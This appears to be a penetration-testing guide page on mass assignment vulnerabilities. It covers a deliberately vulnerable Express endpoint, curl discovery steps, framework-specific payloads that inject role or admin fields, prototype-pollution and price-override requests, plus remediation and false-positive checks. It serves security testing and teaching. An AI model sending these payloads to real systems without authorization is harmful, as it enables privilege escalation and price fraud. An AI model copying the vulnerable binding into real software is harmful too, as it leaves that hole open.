Last reviewed 5 min read

Mass Assignment

Mass assignment (also called autobinding or object injection) occurs when an application automatically binds HTTP request parameters to internal model properties. By adding extra fields to a request, attackers can modify properties not intended to be user-editable — such as role, isAdmin, price, or balance.

Mass assignment is the canonical case of API3:2023 Broken Object Property Level Authorization (BOPLA) in the OWASP API Security Top 10 and is tracked as CWE-915. It is the property-level cousin of IDOR: IDOR crosses object boundaries, mass assignment crosses property boundaries within an object you own.

Danger

Mass assignment attacks are extremely common in modern frameworks (Rails, Django, Laravel, Spring, Express). The vulnerability is in the application logic, not the framework itself.

Frameworks: WSTG n/a (post-4.2 INPV-20) · ASVS 5.0 V15.3.3 · CWE-915 · T1190

How Mass Assignment Works

Vulnerable Code Example (Node.js/Express)

The application updates the user model by spreading all request body fields directly:

mass-assignment-express.js
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
  // DANGEROUS: Binds ALL request fields to the user object
  User.findByIdAndUpdate(req.user.id, req.body, { new: true })
    .then(user => res.json(user));
});

// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}

// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}

Discovery Techniques

mass-assignment-discovery.sh
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
#   "id": 123,
#   "name": "John",
#   "email": "john@example.com",
#   "role": "user",       ← interesting!
#   "isAdmin": false,    ← interesting!
#   "balance": 100,      ← interesting!
#   "verified": true
# }

# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "John", "role": "admin"}'

# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!

# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)

Framework-Specific Attacks

framework-autobinding.http
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true

# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true

# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}

# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN

# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true

Advanced Scenarios

advanced-mass-assignment.http
# Nested object injection:
PUT /api/user/profile
{
  "name": "John",
  "address": {
    "street": "123 Main St",
    "__proto__": {"isAdmin": true}
  }
}

# Array manipulation:
POST /api/order
{
  "items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price

# Registration with role assignment:
POST /api/register
{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@test.com",
  "role_id": 1,
  "group_id": 1
}

# GraphQL mass assignment:
mutation {
  updateUser(input: {
    name: "John"
    role: "ADMIN"
    verified: true
  }) {
    id
    name
    role
  }
}

Testing Checklist

  • ☐ 1. Read API responses to discover all model fields (especially role, admin, balance, verified)
  • ☐ 2. Check API documentation (Swagger/OpenAPI) for model schemas with editable vs read-only fields
  • ☐ 3. Add extra fields to update/create requests and check if they persist
  • ☐ 4. Test registration endpoints for role/privilege escalation
  • ☐ 5. Test nested objects and array parameters
  • ☐ 6. Check if GraphQL mutations accept unauthorized fields
  • ☐ 7. Compare user-role vs admin-role responses to identify hidden fields

Evidence Collection

Before: GET response showing original field values (role: user, isAdmin: false)

Attack Request: PUT/POST request with injected fields

After: GET response showing modified field values (role: admin, isAdmin: true)

CVSS Range: Privilege escalation: 8.1–9.8 | Price manipulation: 6.5–8.6

Remediation

  • • Allowlist fields: Explicitly define which fields can be set by user input (Rails: params.permit(:name, :email)).
  • • Use DTOs: Map requests to Data Transfer Objects with only user-editable fields, never bind directly to database models.
  • • Read-only decorators: Mark sensitive fields as read-only in the model/schema.
  • • Validate on the server: Never trust client-side field restrictions — always enforce on the backend.

False Positive Identification

  • Parameter accepted but not stored: The API accepting extra fields in the request doesn't mean they're persisted — verify by fetching the resource and checking if the injected field was saved.
  • Intended bulk update: Some APIs allow setting multiple fields intentionally (e.g., PATCH with partial updates) — focus on fields that should be restricted (role, admin, verified).
  • Default values vs. injection: A field returning a default value (e.g., role=user) may not mean your injection worked — test with a non-default value to confirm.

Mass Assignment Practice

Discover hidden object properties and escalate through them on API labs.

PortSwigger — API Testing Labs PortSwigger medium
Hidden parameter discoveryPrivilege escalation via object fields